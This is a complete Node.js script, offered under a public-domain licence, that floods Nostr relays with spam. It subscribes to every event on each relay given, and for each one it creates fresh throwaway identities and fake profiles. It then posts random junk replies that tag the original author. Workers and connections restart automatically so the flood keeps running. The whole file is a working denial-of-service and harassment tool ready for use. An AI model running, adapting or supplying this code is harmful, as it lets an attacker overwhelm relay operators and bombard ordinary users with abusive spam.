// Save the following as index.js // Licensed under Public Domain. // Before running the following, Ensure that you've installed ws and nostr-tools: // ~/nostrspam $ npm install ws nostr-tools // Usage: node index.js wss://relay.example1.com wss://relay.example2.com .... const relays = process.argv.slice(2); const filter = {} // If needed. if (!process.env.RELAY_URL && !relays.length) { console.log("Usage: node index.js [relay-addresses]"); process.exit(1); } if (!process.env.RELAY_URL) { console.log("Relays:", relays.join(", ")); const cluster = require('cluster'); for (RELAY_URL of relays) { cluster.fork({ RELAY_URL }); } cluster.on('exit', (worker, code, signal) => { console.log(`Worker ${worker.process.pid} died. Forking another one....`); cluster.fork({ RELAY_URL: worker.process.env.RELAY_URL }); }); return; } const WebSocket = require('ws'); const crypto = require('crypto'); const { validateEvent, verifySignature, generatePrivateKey, getPublicKey, getEventHash, getSignature } = require('nostr-tools'); const randStr = _ => crypto.randomBytes(_).toString("base64url"); function spam(tags = [], c) { const privkey = generatePrivateKey(); const pubkey = getPublicKey(privkey); let profile = { created_at: Math.floor(Date.now() / 1000), kind: 0, pubkey, content: JSON.stringify({ about: randStr(300), display_name: randStr(20), name: randStr(20) }), tags: [] } let event = { created_at: Math.floor(Date.now() / 1000), kind: 1, pubkey, content: randStr(300), tags } profile.id = getEventHash(profile); profile.sig = getSignature(profile, privkey); event.id = getEventHash(event); event.sig = getSignature(event, privkey); if (!validateEvent(event) || !verifySignature(event) || !validateEvent(profile) || !verifySignature(profile)) return console.log("invalid"); return [profile, event]; } function newrelay(addr, eose = false) { const relay = new WebSocket(addr); relay.addr = addr; console.log("connecting", addr) relay.on('open', _ => { relay.send(`["REQ", "relayevent", ${JSON.stringify(filter)}]`); console.log("ESTABLISHED", addr); }); relay.on('message', data => { try { data = JSON.parse(data); } catch (error) { return console.error(error); } if (data[0] === "OK") return console.log(addr, data.join(" ")); if (data[0] !== "EVENT") return; const ev = data[2]; for (sendev of spam([["e", ev.id],["p", ev.pubkey]], ev.content)) { relay.send(JSON.stringify( ["EVENT", sendev ] )); } for (sendev of spam([["e", ev.id]], ev.content)) { relay.send(JSON.stringify( ["EVENT", sendev ] )); } for (sendev of spam()) { relay.send(JSON.stringify( ["EVENT", sendev ] )); } console.log(addr, ev.pubkey, ev.id); }); relay.on('error', _ => console.error(relay.addr, _)); relay.on('close', _ => { for (i in ['open', 'message', 'error', 'close']) { relay.removeAllListeners(i); } newrelay(addr); }); } newrelay(process.env.RELAY_URL);